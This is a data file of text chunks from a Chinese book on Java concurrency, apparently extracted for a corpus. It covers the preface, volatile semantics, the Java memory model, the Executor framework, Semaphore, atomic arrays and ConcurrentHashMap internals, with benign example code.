Profiler可以被复用在方法调用耗时统计的功能上，在方法的入口前执行begin()方法，在方法调用后执行end()方法，好处是两个方法的调用不用在一个方法或者类中，比如在AOP（面向方面编程）中，可以在方法调用前的切入点执行begin()方法，而在方法调用后的切入点执行end()方法，这样依旧可以获得方法的执行耗时。"},
    {"text": "Unknown 前言 为什么要写这本书 记得第一次写并发编程的文章时还是在2012年，当时花了几个星期的时间写了一篇文章《深入分析volatile的实现原理》，准备在自己的博客中发表。在同事建法的建议下，怀着试一试的心态投向了InfoQ，庆幸的是半小时后得到InfoQ主编采纳的回复，高兴之情无以言表。这也是我第一次在专业媒体上发表文章，而后在InfoQ编辑张龙的不断鼓励和支持下，我陆续在InfoQ发表了几篇与并发编程相关的文章，于是便形成了“聊聊并发”专栏。在这个专栏的写作过程中，我得到快速的成长和非常多的帮助，在此非常感谢InfoQ的编辑们。2013年，华章的福川兄找到我，问有没有兴趣写一本书，当时觉得自己资历尚浅，婉言拒绝了。后来和福川兄一直保持联系，最后允许我花两年的时间来完成本书，所以答应了下来。由于并发编程领域的技术点非常多且深，所以陆续又邀请了同事魏鹏和朋友晓明一起参与到本书的编写当中。 写本书的过程也是对自己研究和掌握的技术点进行整理的过程，希望本书能帮助读者快速掌握并发编程技术。 本书一共11章，由三名作者共同编写完成，其中第3章和第10章节由程晓明编写，第4章和第5章由魏鹏编写，其他7章由方腾飞编写。 本书特色 本书结合JDK的源码介绍了Java并发框架、线程池的实现原理，帮助读者做到知其所以然。 本书对原理的剖析不仅仅局限于Java层面，而是深入到JVM，甚至CPU层面来进行讲解，帮助读者从更底层看并发技术。 本书结合线上应用，给出了一些并发编程实战技巧，以及线上处理并发问题的步骤和思路。 读者对象 ·Java开发工程师 ·架构师 ·并发编程爱好者 ·开设相关课程的大专院校师生 如何阅读本书 阅读本书之前，你必须有一定的Java基础和开发经验，最好还有一定的并发编程基础。如果你是一名并发编程初学者，建议按照顺序阅读本书，并按照书中的例子进行编码和实战。如果你有一定的并发编程经验，可以把本书当做一个手册，直接看需要学习的章节。以下是各章节的基本介绍。 第1章 介绍Java并发编程的挑战，向读者说明进入并发编程的世界可能会遇到哪些问题，以及如何解决。 第2章 介绍Java并发编程的底层实现原理，介绍在CPU和JVM这个层面是如何帮助Java实现并发编程的。 第3章 介绍深入介绍了Java的内存模型。Java线程之间的通信对程序员完全透明，内存可见性问题很容易困扰Java程序员，本章试图揭开Java内存模型的神秘面纱。 第4章 从介绍多线程技术带来的好处开始，讲述了如何启动和终止线程以及线程的状态，详细阐述了多线程之间进行通信的基本方式和等待/通知经典范式。 第5章 介绍Java并发包中与锁相关的API和组件，以及这些API和组件的使用方式与实现细节。 第6章 介绍了Java中的大部分并发容器，并深入剖析其实现原理，让读者领略大师的设计技巧。 第7章 介绍了Java中的原子操作类，并给出一些实例。 第8章 介绍了Java中提供的并发工具类，这是并发编程中的瑞士军刀。 第9章 介绍了Java中的线程池实现原理和使用建议。 第10章 介绍了Executor框架的整体结构和成员组件。 第11章 介绍几个并发编程的实战，以及排查并发编程造成问题的方法。 勘误和支持 由于笔者的水平有限，编写时间仓促，书中难免会出现一些错误或者不准确的地方，恳请读者批评指正。为此，特意创建一个在线支持与应急方案的站点 http://ifeve.com/book/ 。你可以将书中的错误发布在勘误表页面中，同时如果你遇到任何问题，也可以访问Q&A页面，我将尽量在线上为读者提供最满意的解答。书中的全部源文件除可以从华章网站 [1] 下载外，还可以从并发编程网站 [2] 下载，我也会将相应的功能更新及时发布出来。如果你有更多的宝贵意见，也欢迎发送邮件至邮箱tengfei@ifeve.com，期待能够得到你的真挚反馈。 致谢 感谢机械工业出版社华章公司的杨福川、高婧雅、孙海亮，在这一年多的时间中始终支持我的写作，你们的鼓励和帮助引导我顺利完成全部书稿。 感谢方正电子的刘老师，是他带我进入了面向对象的世界。 感谢我的主管朱老板，他在工作和生活上给予我很多的帮助和支持，还经常激励我完成本书编写。 最后感谢我的爸妈、岳父母和老婆，感谢你们的支持，并时时刻刻为我灌输信心和力量！ 谨以此书献给我的儿子方熙皓，希望他能健康成长，以及众多热爱并发编程的朋友们，希望你们能快乐工作，认真生活！ 方腾飞 [1] 参见华章网站www.hzbook.com。——编辑注 [2] http://ifeve.com。——编者注"},
    {"text": "Unknown 3.4.1 volatile的特性 理解volatile特性的一个好方法是把对volatile变量的单个读/写，看成是使用同一个锁对这些单个读/写操作做了同步。下面通过具体的示例来说明，示例代码如下。 class VolatileFeaturesExample { volatile long vl = 0L; // 使用volatile声明64位的long型变量 public void set(long l) { vl = l; // 单个volatile变量的写 } public void getAndIncrement () { vl++; // 复合（多个）volatile变量的读/写 } public long get() { return vl; // 单个volatile变量的读 } } 假设有多个线程分别调用上面程序的3个方法，这个程序在语义上和下面程序等价。 class VolatileFeaturesExample { long vl = 0L; // 64位的long型普通变量 public synchronized void set(long l) { // 对单个的普通变量的写用同一个锁同步 vl = l; } public void getAndIncrement () { // 普通方法调用 long temp = get(); // 调用已同步的读方法 temp += 1L; // 普通写操作 set(temp); // 调用已同步的写方法 } public synchronized long get() { // 对单个的普通变量的读用同一个锁同步 return vl; } } 如上面示例程序所示，一个volatile变量的单个读/写操作，与一个普通变量的读/写操作都是使用同一个锁来同步，它们之间的执行效果相同。 锁的happens-before规则保证释放锁和获取锁的两个线程之间的内存可见性，这意味着对一个volatile变量的读，总是能看到（任意线程）对这个volatile变量最后的写入。 锁的语义决定了临界区代码的执行具有原子性。这意味着，即使是64位的long型和double型变量，只要它是volatile变量，对该变量的读/写就具有原子性。如果是多个volatile操作或类似于volatile++这种复合操作，这些操作整体上不具有原子性。 简而言之，volatile变量自身具有下列特性。 ·可见性。对一个volatile变量的读，总是能看到（任意线程）对这个volatile变量最后的写入。 ·原子性：对任意单个volatile变量的读/写具有原子性，但类似于volatile++这种复合操作不具有原子性。"},
    {"text": "Unknown 10.1.2 Executor框架的结构与成员 本文将分两部分来介绍Executor：Executor的结构和Executor框架包含的成员组件。 图10-1 任务的两级调度模型 1.Executor框架的结构 Executor框架主要由3大部分组成如下。"},
    {"text": "包括任务执行机制的核心接口Executor，以及继承自Executor的ExecutorService接口。 Executor框架有两个关键类实现了ExecutorService接口（ThreadPoolExecutor和ScheduledThreadPoolExecutor）。"},
    {"text": "·ScheduledThreadPoolExecutor是一个实现类，可以在给定的延迟后运行命令，或者定期执行命令。 ScheduledThreadPoolExecutor比Timer更灵活，功能更强大。"},
    {"text": "图10-2 Executor框架的类与接口 图10-3 Executor框架的使用示意图 主线程首先要创建实现Runnable或者Callable接口的任务对象。 工具类Executors可以把一个Runnable对象封装为一个Callable对象（Executors.callable（Runnable task）或Executors.callable（Runnable task，Object resule））。 然后可以把Runnable对象直接交给ExecutorService执行（ExecutorService.execute（Runnable command））； 或者也可以把Runnable对象或Callable对象提交给ExecutorService执行（Executor-Service.submit（Runnable task）或ExecutorService.submit（Callable<T>task））。 如果执行ExecutorService.submit（…），ExecutorService将返回一个实现Future接口的对象（到目前为止的JDK中，返回的是FutureTask对象）。 由于FutureTask实现了Runnable，程序员也可以创建FutureTask，然后直接交给ExecutorService执行。"},
    {"text": "最后，主线程可以执行FutureTask.get()方法来等待任务执行完成。 主线程也可以执行FutureTask.cancel（boolean mayInterruptIfRunning）来取消此任务的执行。"},
    {"text": "2.Executor框架的成员 本节将介绍Executor框架的主要成员：ThreadPoolExecutor、ScheduledThreadPoolExecutor、Future接口、Runnable接口、Callable接口和Executors。 （1）ThreadPoolExecutor ThreadPoolExecutor通常使用工厂类Executors来创建。 Executors可以创建3种类型的ThreadPoolExecutor：SingleThreadExecutor、FixedThreadPool和CachedThreadPool。 下面分别介绍这3种ThreadPoolExecutor。"},
    {"text": "下面是Executors提供的，创建使用固定线程数的FixedThreadPool的API。 public static ExecutorService newFixedThreadPool(int nThreads) public static ExecutorService newFixedThreadPool(int nThreads, ThreadFactorythreadFactory) FixedThreadPool适用于为了满足资源管理的需求，而需要限制当前线程数量的应用场景，它适用于负载比较重的服务器。"},
    {"text": "public static ExecutorService newSingleThreadExecutor() public static ExecutorService newSingleThreadExecutor(ThreadFactory threadFactory) SingleThreadExecutor适用于需要保证顺序地执行各个任务；"},
    {"text": "下面是Executors提供的，创建一个会根据需要创建新线程的CachedThreadPool的API。 public static ExecutorService newCachedThreadPool() public static ExecutorService newCachedThreadPool(ThreadFactory threadFactory) CachedThreadPool是大小无界的线程池，适用于执行很多的短期异步任务的小程序，或者是负载较轻的服务器。"},
    {"text": "（2）ScheduledThreadPoolExecutor ScheduledThreadPoolExecutor通常使用工厂类Executors来创建。 Executors可以创建2种类型的ScheduledThreadPoolExecutor，如下。 ·ScheduledThreadPoolExecutor。 包含若干个线程的ScheduledThreadPoolExecutor。 ·SingleThreadScheduledExecutor。 只包含一个线程的ScheduledThreadPoolExecutor。"},
    {"text": "public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize,ThreadFactory threadFactory) ScheduledThreadPoolExecutor适用于需要多个后台线程执行周期任务，同时为了满足资源管理的需求而需要限制后台线程的数量的应用场景。"},
    {"text": "public static ScheduledExecutorService newSingleThreadScheduledExecutor() public static ScheduledExecutorService newSingleThreadScheduledExecutor (ThreadFactory threadFactory) SingleThreadScheduledExecutor适用于需要单个后台线程执行周期任务，同时需要保证顺序地执行各个任务的应用场景。"},
    {"text": "当我们把Runnable接口或Callable接口的实现类提交（submit）给ThreadPoolExecutor或ScheduledThreadPoolExecutor时，ThreadPoolExecutor或ScheduledThreadPoolExecutor会向我们返回一个FutureTask对象。"},
    {"text": "<T> Future<T> submit(Callable<T> task) <T> Future<T> submit(Runnable task, T result) Future<> submit(Runnable task) 有一点需要读者注意，到目前最新的JDK 8为止，Java通过上述API返回的是一个FutureTask对象。"},
    {"text": "除了可以自己创建实现Callable接口的对象外，还可以使用工厂类Executors来把一个Runnable包装成一个Callable。 下面是Executors提供的，把一个Runnable包装成一个Callable的API。 public static Callable<Object> callable(Runnable task) // 假设返回对象Callable1 下面是Executors提供的，把一个Runnable和一个待返回的结果包装成一个Callable的API。 public static <T> Callable<T> callable(Runnable task, T result) // 假设返回对象Callable2 前面讲过，当我们把一个Callable对象（比如上面的Callable1或Callable2）提交给ThreadPoolExecutor或ScheduledThreadPoolExecutor执行时，submit（…）会向我们返回一个FutureTask对象。"},
    {"text": "我们可以执行FutureTask.get()方法来等待任务执行完成。 当任务成功完成后FutureTask.get()将返回该任务的结果。 例如，如果提交的是对象Callable1，FutureTask.get()方法将返回null； 如果提交的是对象Callable2，FutureTask.get()方法将返回result对象。"},
    {"text": "Unknown 10.3.2 ScheduledThreadPoolExecutor的实现 前面我们提到过，ScheduledThreadPoolExecutor会把待调度的任务（ScheduledFutureTask）放到一个DelayQueue中。 ScheduledFutureTask主要包含3个成员变量，如下。 ·long型成员变量time，表示这个任务将要被执行的具体时间。 ·long型成员变量sequenceNumber，表示这个任务被添加到ScheduledThreadPoolExecutor中的序号。 ·long型成员变量period，表示任务执行的间隔周期。 DelayQueue封装了一个PriorityQueue，这个PriorityQueue会对队列中的Scheduled-FutureTask进行排序。排序时，time小的排在前面（时间早的任务将被先执行）。如果两个ScheduledFutureTask的time相同，就比较sequenceNumber，sequenceNumber小的排在前面（也就是说，如果两个任务的执行时间相同，那么先提交的任务将被先执行）。 首先，让我们看看ScheduledThreadPoolExecutor中的线程执行周期任务的过程。图10-9是ScheduledThreadPoolExecutor中的线程1执行某个周期任务的4个步骤。 图10-9 ScheduledThreadPoolExecutor的任务执行步骤 下面是对这4个步骤的说明。 1）线程1从DelayQueue中获取已到期的ScheduledFutureTask（DelayQueue.take()）。到期任务是指ScheduledFutureTask的time大于等于当前时间。 2）线程1执行这个ScheduledFutureTask。 3）线程1修改ScheduledFutureTask的time变量为下次将要被执行的时间。 4）线程1把这个修改time之后的ScheduledFutureTask放回DelayQueue中（Delay-Queue.add()）。 接下来，让我们看看上面的步骤1）获取任务的过程。下面是DelayQueue.take()方法的源代码实现。 public E take() throws InterruptedException { final ReentrantLock lock = this.lock; lock.lockInterruptibly(); // 1 try { for (;;) { E first = q.peek(); if (first == null) { available.await(); // 2.1 } else { long delay = first.getDelay(TimeUnit.NANOSECONDS); if (delay > 0) { long tl = available.awaitNanos(delay); // 2.2 } else { E x = q.poll(); // 2.3.1 assert x != null; if (q.size() != 0) available.signalAll(); // 2.3.2 return x; } } } } finally { lock.unlock(); // 3 } } 图10-10是DelayQueue.take()的执行示意图。 图10-10 ScheduledThreadPoolExecutor获取任务的过程 如图所示，获取任务分为3大步骤。 1）获取Lock。 2）获取周期任务。 ·如果PriorityQueue为空，当前线程到Condition中等待；否则执行下面的2.2。 ·如果PriorityQueue的头元素的time时间比当前时间大，到Condition中等待到time时间；否则执行下面的2.3。 ·获取PriorityQueue的头元素（2.3.1）；如果PriorityQueue不为空，则唤醒在Condition中等待的所有线程（2.3.2）。 3）释放Lock。 ScheduledThreadPoolExecutor在一个循环中执行步骤2，直到线程从PriorityQueue获取到一个元素之后（执行2.3.1之后），才会退出无限循环（结束步骤2）。 最后，让我们看看ScheduledThreadPoolExecutor中的线程执行任务的步骤4，把ScheduledFutureTask放入DelayQueue中的过程。下面是DelayQueue.add()的源代码实现。 public boolean offer(E e) { final ReentrantLock lock = this.lock; lock.lock(); // 1 try { E first = q.peek(); q.offer(e); // 2.1 if (first == null || e.compareTo(first) < 0) available.signalAll(); // 2.2 return true; } finally { lock.unlock(); // 3 } } 图10-11是DelayQueue.add()的执行示意图。 图10-11 ScheduledThreadPoolExecutor添加任务的过程 如图所示，添加任务分为3大步骤。 1）获取Lock。 2）添加任务。 ·向PriorityQueue添加任务。 ·如果在上面2.1中添加的任务是PriorityQueue的头元素，唤醒在Condition中等待的所有线程。 3）释放Lock。"},
    {"text": "Unknown 4.2.5 安全地终止线程 在4.2.3节中提到的中断状态是线程的一个标识位，而中断操作是一种简便的线程间交互方式，而这种交互方式最适合用来取消或停止任务。除了中断以外，还可以利用一个boolean变量来控制是否需要停止任务并终止该线程。 在代码清单4-9所示的例子中，创建了一个线程CountThread，它不断地进行变量累加，而主线程尝试对其进行中断操作和停止操作。 代码清单4-9 Shutdown.java public class Shutdown { public static void main(String[] args) throws Exception { Runner one = new Runner(); Thread countThread = new Thread(one, \"CountThread\"); countThread.start(); // 睡眠1秒，main线程对CountThread进行中断，使CountThread能够感知中断而结束 TimeUnit.SECONDS.sleep(1); countThread.interrupt(); Runner two = new Runner(); countThread = new Thread(two, \"CountThread\"); countThread.start(); // 睡眠1秒，main线程对Runner two进行取消，使CountThread能够感知on为false而结束 TimeUnit.SECONDS.sleep(1); two.cancel(); } private static class Runner implements Runnable { private long i; private volatile boolean on = true; @Override public void run() { while (on && !Thread.currentThread().isInterrupted()){ i++; } System.out.println(\"Count i = \" + i); } public void cancel() { on = false; } } } 输出结果如下所示（输出内容可能不同）。 Count i = 543487324 Count i = 540898082 示例在执行过程中，main线程通过中断操作和cancel()方法均可使CountThread得以终止。这种通过标识位或者中断操作的方式能够使线程在终止时有机会去清理资源，而不是武断地将线程停止，因此这种终止线程的做法显得更加安全和优雅。 Unknown 3.2 重排序 重排序是指编译器和处理器为了优化程序性能而对指令序列进行重新排序的一种手段。 Unknown 6.4.5 Fork/Join框架的异常处理 ForkJoinTask在执行的时候可能会抛出异常，但是我们没办法在主线程里直接捕获异常，所以ForkJoinTask提供了isCompletedAbnormally()方法来检查任务是否已经抛出异常或已经被取消了，并且可以通过ForkJoinTask的getException方法获取异常。使用如下代码。 if(task.isCompletedAbnormally()) { System.out.println(task.getException()); } getException方法返回Throwable对象，如果任务被取消了则返回CancellationException。如果任务没有完成或者没有抛出异常则返回null。 Unknown 10.1 Executor框架简介 10.1.1 Executor框架的两级调度模型 在HotSpot VM的线程模型中，Java线程（java.lang.Thread）被一对一映射为本地操作系统线程。Java线程启动时会创建一个本地操作系统线程；当该Java线程终止时，这个操作系统线程也会被回收。操作系统会调度所有线程并将它们分配给可用的CPU。 在上层，Java多线程程序通常把应用分解为若干个任务，然后使用用户级的调度器（Executor框架）将这些任务映射为固定数量的线程；在底层，操作系统内核将这些线程映射到硬件处理器上。这种两级调度模型的示意图如图10-1所示。 从图中可以看出，应用程序通过Executor框架控制上层的调度；而下层的调度由操作系统内核控制，下层的调度不受应用程序的控制。"},
    {"text": "Unknown 8.3 控制并发线程数的Semaphore Semaphore（信号量）是用来控制同时访问特定资源的线程数量，它通过协调各个线程，以保证合理的使用公共资源。 多年以来，我都觉得从字面上很难理解Semaphore所表达的含义，只能把它比作是控制流量的红绿灯。比如××马路要限制流量，只允许同时有一百辆车在这条路上行使，其他的都必须在路口等待，所以前一百辆车会看到绿灯，可以开进这条马路，后面的车会看到红灯，不能驶入××马路，但是如果前一百辆中有5辆车已经离开了××马路，那么后面就允许有5辆车驶入马路，这个例子里说的车就是线程，驶入马路就表示线程在执行，离开马路就表示线程执行完成，看见红灯就表示线程被阻塞，不能执行。 1.应用场景 Semaphore可以用于做流量控制，特别是公用资源有限的应用场景，比如数据库连接。假如有一个需求，要读取几万个文件的数据，因为都是IO密集型任务，我们可以启动几十个线程并发地读取，但是如果读到内存后，还需要存储到数据库中，而数据库的连接数只有10个，这时我们必须控制只有10个线程同时获取数据库连接保存数据，否则会报错无法获取数据库连接。这个时候，就可以使用Semaphore来做流量控制，如代码清单8-7所示。 代码清单8-7 SemaphoreTest.java public class SemaphoreTest { private static final int THREAD_COUNT = 30; private static ExecutorServicethreadPool = Executors .newFixedThreadPool(THREAD_COUNT); private static Semaphore s = new Semaphore(10); public static void main(String[] args) { for (inti = 0; i< THREAD_COUNT; i++) { threadPool.execute(new Runnable() { @Override public void run() { try { s.acquire(); System.out.println(\"save data\"); s.release(); } catch (InterruptedException e) { } } }); } threadPool.shutdown(); } } 在代码中，虽然有30个线程在执行，但是只允许10个并发执行。Semaphore的构造方法Semaphore（int permits）接受一个整型的数字，表示可用的许可证数量。Semaphore（10）表示允许10个线程获取许可证，也就是最大并发数是10。Semaphore的用法也很简单，首先线程使用Semaphore的acquire()方法获取一个许可证，使用完之后调用release()方法归还许可证。还可以用tryAcquire()方法尝试获取许可证。 2.其他方法 Semaphore还提供一些其他方法，具体如下。 ·intavailablePermits()：返回此信号量中当前可用的许可证数。 ·intgetQueueLength()：返回正在等待获取许可证的线程数。 ·booleanhasQueuedThreads()：是否有线程正在等待获取许可证。 ·void reducePermits（int reduction）：减少reduction个许可证，是个protected方法。 ·Collection getQueuedThreads()：返回所有等待获取许可证的线程集合，是个protected方法。 Unknown 7.2 原子更新数组 通过原子的方式更新数组里的某个元素，Atomic包提供了以下4个类。 ·AtomicIntegerArray：原子更新整型数组里的元素。 ·AtomicLongArray：原子更新长整型数组里的元素。 ·AtomicReferenceArray：原子更新引用类型数组里的元素。 ·AtomicIntegerArray类主要是提供原子的方式更新数组里的整型，其常用方法如下。 ·int addAndGet（int i，int delta）：以原子方式将输入值与数组中索引i的元素相加。 ·boolean compareAndSet（int i，int expect，int update）：如果当前值等于预期值，则以原子方式将数组位置i的元素设置成update值。 以上几个类提供的方法几乎一样，所以本节仅以AtomicIntegerArray为例进行讲解，AtomicIntegerArray的使用实例代码如代码清单7-4所示。 代码清单7-4 AtomicIntegerArrayTest.java public class AtomicIntegerArrayTest { static int[] value = new int[] { 1， 2 }; static AtomicIntegerArray ai = new AtomicIntegerArray(value); public static void main(String[] args) { ai.getAndSet(0， 3); System.out.println(ai.get(0)); System.out.println(value[0]); } } 以下是输出的结果。 3 1 需要注意的是，数组value通过构造方法传递进去，然后AtomicIntegerArray会将当前数组复制一份，所以当AtomicIntegerArray对内部的数组元素进行修改时，不会影响传入的数组。"},
    {"text": "Unknown 3.3.3 同步程序的顺序一致性效果 下面，对前面的示例程序ReorderExample用锁来同步，看看正确同步的程序如何具有顺序一致性。 请看下面的示例代码。 class SynchronizedExample { int a = 0; boolean flag = false; public synchronized void writer() { // 获取锁 a = 1; flag = true; } // 释放锁 public synchronized void reader() { // 获取锁 if (flag) { int i = a; …… } // 释放锁 } } 在上面示例代码中，假设A线程执行writer()方法后，B线程执行reader()方法。这是一个正确同步的多线程程序。根据JMM规范，该程序的执行结果将与该程序在顺序一致性模型中的执行结果相同。下面是该程序在两个内存模型中的执行时序对比图，如图3-13所示。 顺序一致性模型中，所有操作完全按程序的顺序串行执行。而在JMM中，临界区内的代码可以重排序（但JMM不允许临界区内的代码“逸出”到临界区之外，那样会破坏监视器的语义）。JMM会在退出临界区和进入临界区这两个关键时间点做一些特别处理，使得线程在这两个时间点具有与顺序一致性模型相同的内存视图（具体细节后文会说明）。虽然线程A在临界区内做了重排序，但由于监视器互斥执行的特性，这里的线程B根本无法“观察”到线程A在临界区内的重排序。这种重排序既提高了执行效率，又没有改变程序的执行结果。 图3-13 两个内存模型中的执行时序对比图 从这里我们可以看到，JMM在具体实现上的基本方针为：在不改变（正确同步的）程序执行结果的前提下，尽可能地为编译器和处理器的优化打开方便之门。 Unknown 3.6 final域的内存语义 与前面介绍的锁和volatile相比，对final域的读和写更像是普通的变量访问。下面将介绍final域的内存语义。 Unknown 6.2.1 ConcurrentLinkedQueue的结构 通过ConcurrentLinkedQueue的类图来分析一下它的结构，如图6-3所示。 图6-3 ConcurrentLinkedQueue的类图 ConcurrentLinkedQueue由head节点和tail节点组成，每个节点（Node）由节点元素（item）和指向下一个节点（next）的引用组成，节点与节点之间就是通过这个next关联起来，从而组成一张链表结构的队列。默认情况下head节点存储的元素为空，tail节点等于head节点。 private transient volatile Node<E> tail = head; Unknown 1.1.3 如何减少上下文切换 减少上下文切换的方法有无锁并发编程、CAS算法、使用最少线程和使用协程。 ·无锁并发编程。多线程竞争锁时，会引起上下文切换，所以多线程处理数据时，可以用一些办法来避免使用锁，如将数据的ID按照Hash算法取模分段，不同的线程处理不同段的数据。 ·CAS算法。Java的Atomic包使用CAS算法来更新数据，而不需要加锁。 ·使用最少线程。避免创建不需要的线程，比如任务很少，但是创建了很多线程来处理，这样会造成大量线程都处于等待状态。 ·协程：在单线程里实现多任务的调度，并在单线程里维持多个任务间的切换。"},
    {"text": "Unknown 3.2.4 重排序对多线程的影响 现在让我们来看看，重排序是否会改变多线程程序的执行结果。请看下面的示例代码。 class ReorderExample { int a = 0; boolean flag = false; public void writer() { a = 1; // 1 flag = true; // 2 } Public void reader() { if (f?lag) { // 3 int i = a * a; // 4 …… } } } flag变量是个标记，用来标识变量a是否已被写入。这里假设有两个线程A和B，A首先执行writer()方法，随后B线程接着执行reader()方法。线程B在执行操作4时，能否看到线程A在操作1对共享变量a的写入呢？ 答案是：不一定能看到。 由于操作1和操作2没有数据依赖关系，编译器和处理器可以对这两个操作重排序；同样，操作3和操作4没有数据依赖关系，编译器和处理器也可以对这两个操作重排序。让我们先来看看，当操作1和操作2重排序时，可能会产生什么效果？请看下面的程序执行时序图，如图3-8所示。 图3-8 程序执行时序图 如图3-8所示，操作1和操作2做了重排序。程序执行时，线程A首先写标记变量flag，随后线程B读这个变量。由于条件判断为真，线程B将读取变量a。此时，变量a还没有被线程A写入，在这里多线程程序的语义被重排序破坏了！ 注意 本文统一用虚箭线标识错误的读操作，用实箭线标识正确的读操作。 下面再让我们看看，当操作3和操作4重排序时会产生什么效果（借助这个重排序，可以顺便说明控制依赖性）。下面是操作3和操作4重排序后，程序执行的时序图，如图3-9所示。 图3-9 程序的执行时序图 在程序中，操作3和操作4存在控制依赖关系。当代码中存在控制依赖性时，会影响指令序列执行的并行度。为此，编译器和处理器会采用猜测（Speculation）执行来克服控制相关性对并行度的影响。以处理器的猜测执行为例，执行线程B的处理器可以提前读取并计算a*a，然后把计算结果临时保存到一个名为重排序缓冲（Reorder Buffer，ROB）的硬件缓存中。当操作3的条件判断为真时，就把该计算结果写入变量i中。 从图3-9中我们可以看出，猜测执行实质上对操作3和4做了重排序。重排序在这里破坏了多线程程序的语义！ 在单线程程序中，对存在控制依赖的操作重排序，不会改变执行结果（这也是as-if-serial语义允许对存在控制依赖的操作做重排序的原因）；但在多线程程序中，对存在控制依赖的操作重排序，可能会改变程序的执行结果。 Unknown 3.2.3 程序顺序规则 根据happens-before的程序顺序规则，上面计算圆的面积的示例代码存在3个happens-before关系。 1）A happens-before B。 2）B happens-before C。 3）A happens-before C。 这里的第3个happens-before关系，是根据happens-before的传递性推导出来的。 这里A happens-before B，但实际执行时B却可以排在A之前执行（看上面的重排序后的执行顺序）。如果A happens-before B，JMM并不要求A一定要在B之前执行。JMM仅仅要求前一个操作（执行的结果）对后一个操作可见，且前一个操作按顺序排在第二个操作之前。这里操作A的执行结果不需要对操作B可见；而且重排序操作A和操作B后的执行结果，与操作A和操作B按happens-before顺序执行的结果一致。在这种情况下，JMM会认为这种重排序并不非法（not illegal），JMM允许这种重排序。 在计算机中，软件技术和硬件技术有一个共同的目标：在不改变程序执行结果的前提下，尽可能提高并行度。编译器和处理器遵从这一目标，从happens-before的定义我们可以看出，JMM同样遵从这一目标。 Unknown 3.1.5 happens-before简介 从JDK 5开始，Java使用新的JSR-133内存模型（除非特别说明，本文针对的都是JSR-133内存模型）。JSR-133使用happens-before的概念来阐述操作之间的内存可见性。在JMM中，如果一个操作执行的结果需要对另一个操作可见，那么这两个操作之间必须要存在happens-before关系。这里提到的两个操作既可以是在一个线程之内，也可以是在不同线程之间。 与程序员密切相关的happens-before规则如下。 ·程序顺序规则：一个线程中的每个操作，happens-before于该线程中的任意后续操作。 ·监视器锁规则：对一个锁的解锁，happens-before于随后对这个锁的加锁。 ·volatile变量规则：对一个volatile域的写，happens-before于任意后续对这个volatile域的读。 ·传递性：如果A happens-before B，且B happens-before C，那么A happens-before C。 注意 两个操作之间具有happens-before关系，并不意味着前一个操作必须要在后一个操作之前执行！happens-before仅仅要求前一个操作（执行的结果）对后一个操作可见，且前一个操作按顺序排在第二个操作之前（the first is visible to and ordered before the second）。happens-before的定义很微妙，后文会具体说明happens-before为什么要这么定义。 happens-before与JMM的关系如图3-5所示。 图3-5 happens-before与JMM的关系 如图3-5所示，一个happens-before规则对应于一个或多个编译器和处理器重排序规则。对于Java程序员来说，happens-before规则简单易懂，它避免Java程序员为了理解JMM提供的内存可见性保证而去学习复杂的重排序规则以及这些规则的具体实现方法。"},
    {"text": "Unknown 3.6.2 写final域的重排序规则 写final域的重排序规则禁止把final域的写重排序到构造函数之外。这个规则的实现包含下面2个方面。 1）JMM禁止编译器把final域的写重排序到构造函数之外。 2）编译器会在final域的写之后，构造函数return之前，插入一个StoreStore屏障。这个屏障禁止处理器把final域的写重排序到构造函数之外。 现在让我们分析writer()方法。writer()方法只包含一行代码：finalExample=new FinalExample()。这行代码包含两个步骤，如下。 1）构造一个FinalExample类型的对象。 2）把这个对象的引用赋值给引用变量obj。 假设线程B读对象引用与读对象的成员域之间没有重排序（马上会说明为什么需要这个假设），图3-29是一种可能的执行时序。 在图3-29中，写普通域的操作被编译器重排序到了构造函数之外，读线程B错误地读取了普通变量i初始化之前的值。而写final域的操作，被写final域的重排序规则“限定”在了构造函数之内，读线程B正确地读取了final变量初始化之后的值。 写final域的重排序规则可以确保：在对象引用为任意线程可见之前，对象的final域已经被正确初始化过了，而普通域不具有这个保障。以上图为例，在读线程B“看到”对象引用obj时，很可能obj对象还没有构造完成（对普通域i的写操作被重排序到构造函数外，此时初始值1还没有写入普通域i）。 图3-29 线程执行时序图 Unknown 6.1.3 ConcurrentHashMap的初始化 ConcurrentHashMap初始化方法是通过initialCapacity、loadFactor和concurrencyLevel等几个参数来初始化segment数组、段偏移量segmentShift、段掩码segmentMask和每个segment里的HashEntry数组来实现的。 1.初始化segments数组 让我们来看一下初始化segments数组的源代码。 if (concurrencyLevel > MAX_SEGMENTS) concurrencyLevel = MAX_SEGMENTS; int sshift = 0; int ssize = 1; while (ssize < concurrencyLevel) { ++sshift; ssize <<= 1; } segmentShift = 32 - sshift; segmentMask = ssize - 1; this.segments = Segment.newArray(ssize); 由上面的代码可知，segments数组的长度ssize是通过concurrencyLevel计算得出的。为了能通过按位与的散列算法来定位segments数组的索引，必须保证segments数组的长度是2的N次方（power-of-two size），所以必须计算出一个大于或等于concurrencyLevel的最小的2的N次方值来作为segments数组的长度。假如concurrencyLevel等于14、15或16，ssize都会等于16，即容器里锁的个数也是16。 注意 concurrencyLevel的最大值是65535，这意味着segments数组的长度最大为65536，对应的二进制是16位。 2.初始化segmentShift和segmentMask 这两个全局变量需要在定位segment时的散列算法里使用，sshift等于ssize从1向左移位的次数，在默认情况下concurrencyLevel等于16，1需要向左移位移动4次，所以sshift等于4。segmentShift用于定位参与散列运算的位数，segmentShift等于32减sshift，所以等于28，这里之所以用32是因为ConcurrentHashMap里的hash()方法输出的最大数是32位的，后面的测试中我们可以看到这点。segmentMask是散列运算的掩码，等于ssize减1，即15，掩码的二进制各个位的值都是1。因为ssize的最大长度是65536，所以segmentShift最大值是16，segmentMask最大值是65535，对应的二进制是16位，每个位都是1。 3.初始化每个segment 输入参数initialCapacity是ConcurrentHashMap的初始化容量，loadfactor是每个segment的负载因子，在构造方法里需要通过这两个参数来初始化数组中的每个segment。 if (initialCapacity > MAXIMUM_CAPACITY) initialCapacity = MAXIMUM_CAPACITY; int c = initialCapacity / ssize; if (c * ssize < initialCapacity) ++c; int cap = 1; while (cap < c) cap <<= 1; for (int i = 0; i < this.segments.length; ++i) this.segments[i] = new Segment<K,V>(cap, loadFactor); 上面代码中的变量cap就是segment里HashEntry数组的长度，它等于initialCapacity除以ssize的倍数c，如果c大于1，就会取大于等于c的2的N次方值，所以cap不是1，就是2的N次方。segment的容量threshold＝（int）cap*loadFactor，默认情况下initialCapacity等于16，loadfactor等于0.75，通过运算cap等于1，threshold等于零。"},
